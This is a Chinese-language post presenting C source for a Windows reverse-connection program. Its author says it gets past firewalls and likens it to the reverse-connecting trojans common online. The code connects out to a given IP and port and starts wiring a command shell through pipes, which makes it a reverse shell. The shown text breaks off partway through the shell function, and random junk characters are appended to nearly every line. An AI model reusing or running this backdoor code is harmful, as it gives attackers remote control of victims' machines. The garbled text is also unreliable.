这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 cXH?'q'vZ
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/* ============================== /% 1lJD
Rebound port in Windows NT 1t'\!
By wind,2006/7 Jq)k?WS
===============================*/ c?S402M}
#include z0Hh8*
#include +[+Jd)Z
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#pragma comment(lib,"wsock32.lib") <'33!8
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void OutputShell(); en)DN3
SOCKET sClient; d?.x./1[qi
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; u{ /gjv
^\%%9jY
void main(int argc,char **argv) K.~U%v}
{ )
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WSADATA stWsaData; In2D32"F
int nRet; _u;
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SOCKADDR_IN stSaiClient,stSaiServer; HL]?CWtGP
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if(argc != 3) \=~Ap#Mpc4
{ )9O{4PbU!
printf("Useage:\n\rRebound DestIP DestPort\n"); %e(,PL
return; 7 &Aakl
} gK'MUZ()
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WSAStartup(MAKEWORD(2,2),&stWsaData); 3}Pa,uN
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); K(^x)w r-:
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stSaiClient.sin_family = AF_INET; oCS NA.z
stSaiClient.sin_port = htons(0); Mtr~d
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); bMYRQ,K`C
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) qMkP/BjV
{ +nuQC{^>
printf("Bind Socket Failed!\n"); V<7Gd8rDMM
return; 8}"j#tDc
} )d~Mag+
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stSaiServer.sin_family = AF_INET; #0c`"2t&M
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); FW4 hqgE@
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); aum,bm/0J
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) B$G8,3 ,:
{ P?F:x=@'|
printf("Connect Error!"); !8$}]uWP
return; moGbBkO
} [*(MI 9WM
OutputShell(); }`(kX] ][
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void OutputShell() 2%I:s6r
{ KME
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char szBuff[1024]; V-31x )
SECURITY_ATTRIBUTES stSecurityAttributes; Y'P8 `$
OSVERSIONINFO stOsversionInfo; g6farLBF
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe;
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STARTUPINFO stStartupInfo; q%"nk
char *szShell; m:t$&
PROCESS_INFORMATION stProcessInformation;
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unsigned long lBytesRead; ,rKN/{M!
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); DuWP)#kg
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 4 R]|
stSecurityAttributes.lpSecurityDescriptor = 0; ) E\pQ5&
stSecurityAttributes.bInheritHandle = TRUE; @l8?\^N
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \?o%<c5{
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); gDv]n^&